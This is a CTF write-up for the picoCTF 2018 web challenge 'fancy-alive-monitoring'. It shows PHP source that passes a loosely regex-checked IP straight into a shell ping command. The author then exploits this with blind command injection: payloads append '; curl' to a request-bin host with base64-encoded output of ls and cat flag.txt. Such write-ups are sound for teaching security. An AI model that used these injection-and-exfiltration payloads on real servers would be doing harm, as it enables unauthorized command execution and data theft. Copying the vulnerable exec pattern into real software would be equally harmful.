picoCTF 2018 - Write-up

🔗Information

🔗CTF

  • Name : picoCTF 2018
  • Website : picoctf.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

🔗400 - fancy-alive-monitoring - Web

One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell2.picoctf.com:31070 (link)?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

In the PHP code, the exec command execution is badly escaped so we can append some code to be executed on the server side. But we are blind because there is no output, so if we want to do a ls we have to pipe it into base64 and append the result to a HTTP request with curl to a controlled remote server where we will be able to see the web server logs or traces.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php HTTP/1.1
Host: 2018shell2.picoctf.com:31070
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://2018shell2.picoctf.com:31070/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Cookie: _ga=GA1.2.5405567.1538418328; _gid=GA1.2.1067178631.1538418328
Connection: close
Upgrade-Insecure-Requests: 1

ip=1.1.1.1; curl http://requestbin.fullcontact.com/1de76601?c=$(ls | base64)

Instead of a private server I used https://requestbin.fullcontact.com/

So let's decode the base64 to see what it is about:

1
2
3
4
5
$ printf %s 'ZmxhZy50eHQKaW5kZXgucGhwCmluZGV4LnR4dAp4aW5ldF9zdGFydHVwLnNoCg==' |base64 -d
flag.txt
index.php
index.txt
xinet_startup.sh

Then doing one more request to get the flag:

1
ip=1.1.1.1; curl http://requestbin.fullcontact.com/1de76601?c=$(cat flag.txt | base64)
1
2
$ printf %s 'SGVyZSBpcyB5b3VyIGZsYWc6IHBpY29DVEZ7bjN2M3JfdHJ1c3RfYV9iMHhfOTEzNDViMDR9Cgo=' | base64 -d
Here is your flag: picoCTF{n3v3r_trust_a_b0x_91345b04}
Share